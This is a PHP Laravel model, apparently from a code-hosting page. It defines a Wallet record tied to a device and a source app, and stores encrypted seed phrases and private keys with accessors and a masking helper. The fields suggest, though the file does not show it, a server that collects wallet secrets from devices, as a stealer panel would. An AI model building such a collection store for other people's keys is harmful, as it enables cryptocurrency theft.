88 lines
2.2 KiB
PHP
88 lines
2.2 KiB
PHP
<?php
|
|
|
|
namespace App\Models;
|
|
|
|
use Illuminate\Database\Eloquent\Model;
|
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
|
use Illuminate\Support\Facades\Crypt;
|
|
|
|
class Wallet extends Model
|
|
{
|
|
protected $fillable = [
|
|
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
|
|
];
|
|
|
|
protected function casts(): array
|
|
{
|
|
return ['raw_json' => 'array'];
|
|
}
|
|
|
|
public function device(): BelongsTo
|
|
{
|
|
return $this->belongsTo(Device::class);
|
|
}
|
|
|
|
public function addresses(): HasMany
|
|
{
|
|
return $this->hasMany(WalletAddress::class);
|
|
}
|
|
|
|
public function setMnemonicAttribute(?string $value): void
|
|
{
|
|
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
|
|
? null
|
|
: Crypt::encryptString($value);
|
|
}
|
|
|
|
public function getMnemonicAttribute(): ?string
|
|
{
|
|
if (empty($this->attributes['mnemonic_enc'])) {
|
|
return null;
|
|
}
|
|
|
|
try {
|
|
return Crypt::decryptString($this->attributes['mnemonic_enc']);
|
|
} catch (\Throwable) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
public function setPrivkeyAttribute(?string $value): void
|
|
{
|
|
$this->attributes['privkey_enc'] = $value === null || $value === ''
|
|
? null
|
|
: Crypt::encryptString($value);
|
|
}
|
|
|
|
public function getPrivkeyAttribute(): ?string
|
|
{
|
|
if (empty($this->attributes['privkey_enc'])) {
|
|
return null;
|
|
}
|
|
|
|
try {
|
|
return Crypt::decryptString($this->attributes['privkey_enc']);
|
|
} catch (\Throwable) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
public static function maskSecret(?string $value): string
|
|
{
|
|
if ($value === null || $value === '') {
|
|
return '—';
|
|
}
|
|
$words = preg_split('/\s+/', trim($value)) ?: [];
|
|
if (count($words) >= 12) {
|
|
return $words[0].' *** '.$words[count($words) - 1];
|
|
}
|
|
$len = strlen($value);
|
|
if ($len <= 8) {
|
|
return str_repeat('*', $len);
|
|
}
|
|
|
|
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
|
|
}
|
|
}
|